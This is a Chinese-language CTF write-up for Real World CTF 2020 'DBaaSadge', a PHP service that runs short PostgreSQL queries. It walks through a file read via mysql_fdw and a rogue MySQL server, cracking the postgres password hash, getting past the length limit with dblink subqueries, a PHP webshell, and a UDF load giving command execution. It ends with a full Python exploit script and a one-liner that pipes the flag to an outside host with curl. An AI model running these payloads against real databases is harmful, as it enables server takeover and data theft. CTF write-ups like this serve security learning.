Real World CTF 2020 DBaaSadge Writeup

痛失一血的题…膜猫哥,黑客竟在我身边.jpg

题目代码很简单,可以执行任意 sql 语句,唯一的限制是语句长度小于100。但由于数据库 user 没有 superuser 权限,所以无法执行命令。

<?php
error_reporting(0);

if(!$sql=(string)$_GET["sql"]){
  show_source(__FILE__);
  die();
}

header('Content-Type: text/plain');

if(strlen($sql)>100){
  die('That query is too long ;_;');
}

if(!pg_pconnect('dbname=postgres user=realuser')){
  die('DB gone ;_;');
}

if($query = pg_query($sql)){
  print_r(pg_fetch_all($query));
} else {
  die('._.?');
}

题目还给了附件 Dockerfile ,注意到安装 pgsql 时还安装了插件

RUN apt-get install -y postgresql-10 postgresql-10-mysql-fdw apache2 libapache2-mod-php php-pgsql curl

这个 postgresql-10-mysql-fdw 是什么东西呢,查询到了项目地址

https://github.com/EnterpriseDB/mysql_fdw

根据项目说明,知道这是用来把 Mysql 表映射到 pgsql 中并可以对其进行增删查改的插件, README 中还给了使用示例:

-- create server object
CREATE SERVER mysql_server
    FOREIGN DATA WRAPPER mysql_fdw
    OPTIONS (host '127.0.0.1', port '3306');

很容易想到既然插件可以连接 Mysql ,那应该存在任意文件读取,在 vps 上跑 rogue-mysql-server 测试:

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'47.95.219.135',port'3306');
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;

果然可以,但是任意文件读取如何进一步利用呢?

再次观察题目环境,发现除了 mysql_fdw 之外,还开了另一个插件

CREATE EXTENSION dblink; CREATE EXTENSION mysql_fdw;

这个 dblink 又是什么呢,查询到手册:

https://www.postgresql.org/docs/10/contrib-dblink-function.html

根据手册可知,此函数可以用来在语句中再发起一个连接,并在这个连接上执行语句并返回结果。那么容易想到是否可以使用此函数登录默认有 superuser 权限的 postgres 用户,就可以进一步提权。

首先想到的是看看此用户有没有设置密码,查看 Docker 环境的 start.sh 发现

su postgres -c "psql -c 'ALTER USER postgres WITH ENCRYPTED PASSWORD \$\$`head /dev/urandom | tr -dc '0-9a-z' | fold -w 5 | head -n1`\$\$;'"

是设置了密码的,但是只有值为 [0-9a-z] 的5位,总共只有6千万种可能。但是由于题目环境10分钟重置一次,所以应该不可能远程爆破出来。但我们此时有一个任意文件读的漏洞,如果可以在某个文件中读取到密码,即使是加密的,在本地也是极有可能爆破出来的。

如何找到这个文件呢?一开始我以为会不会有某个配置文件保存密码,然而谷歌了很久都没用结果。然后我发现其实 pgsql 和 mysql 一样都会把用户密码存在表里,pgsql 是 pg_shadow 表,那么也许直接读取数据库落盘文件可以得到。

首先确定数据库的落盘文件保存在哪

然后直接在其中进行 grep 暴搜

其实有多条结果,但幸运的是,第一条结果就是我们想要的

可以看到密码似乎进行了 md5 ,谷歌到了 hash 规则:

md5(password+username)

于是本地进行爆破,果然很快就可以得到结果:

有了密码,接下来就是如何使用 superuser 执行命令了。这个时候发现由于语句限制了长度,所以很多语句执行不了,要想办法绕过长度限制。

这里我必须吐槽一下 pgsql 的文档,官方文档居然还能前后矛盾…

一开始我看到文档给的示例

https://www.postgresql.org/docs/10/plpgsql-statements.html

于是想到可以先把 payload 写进表里,再

EXECUTE (SELECT payload from payload)

即可执行任意长度的语句

但是实际测试和进一步阅读指令的文档发现, EXECUTE 指令后面在新版本已经不能接字符串了(前后自相矛盾的文档…),必须接 PREPARE 指令编译的语句,而 PREPARE 指令编译的语句也不能是字符串,所以并不能达到动态执行的效果。

https://www.postgresql.org/docs/10/sql-execute.html

https://www.postgresql.org/docs/10/sql-prepare.html

这条路不通了,那只能再换条路,但是思路还是找一个可以用子查询代替字符串来缩减长度的地方。

我们想要执行的语句大概是:

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<[email protected]($_REQUEST[1]);?>$$) to $$/var/www/html/f1sh233.php$$;') as t1(record text);

长达173,差不多超出了一倍的长度限制。

但是语句中有两处字符串,这两处其实都可以用子查询来替换

SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);

长度为94,绕过了限制。

于是我们现在可以把 payload 存入自己的 Mysql 表中,再通过 mysql_fdw 插件映射到题目数据库里,再 select 出来即可执行任意长度语句,不再受任何限制。

最后是执行命令,因为我对 pgsql 不太熟悉,所以使用了最容易查到的 udf 方式。

udf 使用的是 sqlmap 的:

https://github.com/sqlmapproject/udfhack/tree/master/linux/lib_postgresqludf_sys

编译后通过以下语句加载并执行:

SELECT lo_create(7665);
insert into pg_largeobject values (7665, 0, decode('...','hex'));
insert into pg_largeobject values (7665, 1, decode('...','hex'));
...
SELECT lo_export(7665, '/tmp/testeval.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
SELECT sys_eval('/readflag');

把这些语句写入到表里,最后的 exp 为

import requests

url = "http://54.219.197.26:60080/"
payload = [
    "CREATE SERVER f2sh FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'47.95.219.135',port'3306');",
    "CREATE USER MAPPING FOR realuser SERVER f2sh OPTIONS (username 'root', password 'root');",
    "CREATE FOREIGN TABLE c(b int,a text) SERVER f2sh OPTIONS (dbname 'a', table_name 'a');",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=3)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=4)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=5)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=6)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=7)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=8)) as t1(a text);",
    "SELECT * FROM dblink((select a from c where b=1), (select a from c where b=9)) as t1(a text);",
    "select sys_eval('/readflag');"
]
for i in payload:
    r = requests.get(url, params={"sql": i})
    print(r.content)

赛后和猫哥交流了一下,其实执行命令并不需要这么麻烦,只需要一句

SELECT dblink('host=0 password=xxxxx','copy(select)to program''curl your.domain.here/`/readflag`''')

小丑竟是我自己.jpg

“Real World CTF 2020 DBaaSadge Writeup”的一个回复

发表评论